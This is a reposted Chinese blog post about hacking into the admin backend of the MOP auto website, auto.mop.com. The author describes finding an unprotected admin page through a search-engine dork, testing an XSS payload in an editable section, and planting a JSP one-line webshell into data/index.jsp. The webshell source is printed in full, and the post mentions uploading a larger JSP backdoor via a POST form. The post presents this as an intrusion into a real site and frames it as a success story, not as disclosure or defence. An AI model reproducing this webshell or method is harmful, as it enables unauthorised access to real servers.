开放原子开发者工作坊 MOP社区被黑内幕

MOP社区被黑内幕

首先这次的检测纯属是个偶然?为什么是偶然大家请慢慢听我说吧.这里感谢AK!我本来想利用搜索引擎玩下后台过滤不严的网站!大家都知道搜索inurl:admin/main.php(脚本格式随便反正jsp就搜索到mop了)很多网站直接进去后台!这里我们可以很清楚地看到MOP的网站,我抱着不大的希望点了下(毕竟是MOP汽车网!文件处理得很好的吧)谁知道点了下直接进去了M...

首先这次的检测纯属是个偶然?为什么是偶然大家请慢慢听我说吧.这里感谢AK!我本来想利用搜索引擎玩下后台过滤不严的网站!

大家都知道搜索inurl:admin/main.php(脚本格式随便反正jsp就搜索到mop了)很多网站直接进去后台!

这里我们可以很清楚地看到MOP的网站,我抱着不大的希望点了下(毕竟是MOP汽车网!文件处理得很好的吧)谁知道点了下直接进去了MOP

进去了,当然我第一时间就会看下有没上传之类的漏洞!点了下图片管理!

流程:图片管理-查看相册-上传文件

这个图片是任意文件都可以上传?但是却是上传到mop的管理图片的服务器!咱们看一下图片

这个服务器目录做了安全设置,jpg、html、txt当然支持的啦!其他为***文件都不能正常访问!这里转了大约1个多小时去搞,继续转下!这个后台有没其他的特别之处…果然发现到一个可爱的地方了

这里,可以修改!我随便在代码加上<script>alert(“xss”)</script>

点了下,当前的栏目代码执行了.之后修改111.

中间出现我写的东西,我当时随想?在这里写个JSP***进去看下能不能显示出来!这html当然是调用某个JSP文件啦

保存起来,回到刚才那里刷新下!

出错了,这是怎么回事?这里困扰了大约1个小时左右吧!绝对是调用某个文件的!代码绝对成功写入.之后猜解下
http://auto.mop.com/index.jsp 访问正常,http://auto.mop.com/data/index.jsp 空白证明此文件是存在的!猜想代码执行在data目录下的,估计调用肯定是index.jsp文件了!但是访问是正常.之后想了下,会不会安全方面做了下!保存好JSP***出现这个!

返回刚才那里哦?证明是出错的了!之后放个jsp一句话进去啦,毕竟感觉调用index.jsp文件!网上就一个一句话***还是觉得不好用的那个呢!
<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>

证明我的猜想是没错!果然是调用data/index.jsp文件!执行
但是挂个页面有什么用啊?必须写个JSP***进去?我也不会笨到真的用GET方式把***写进去…AK也是用了POST提交上去的.(POST提交工具有很多款可以实现,NC也可以实现)
最后朋友仍了个html文件把jsp***提交上去了,(我感谢的不是这个POST提交软件,是表单里的JSP马),因为AK和我测试了很多次.很多jsp马都出现500错误!但愿有个文件编辑就可以了.最后上图

转载于:https://blog.51cto.com/linkboy/296514

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐

  • 浏览量 203
  • 收藏 0
  • 0

所有评论(0)

查看更多评论 
已为社区贡献19条内容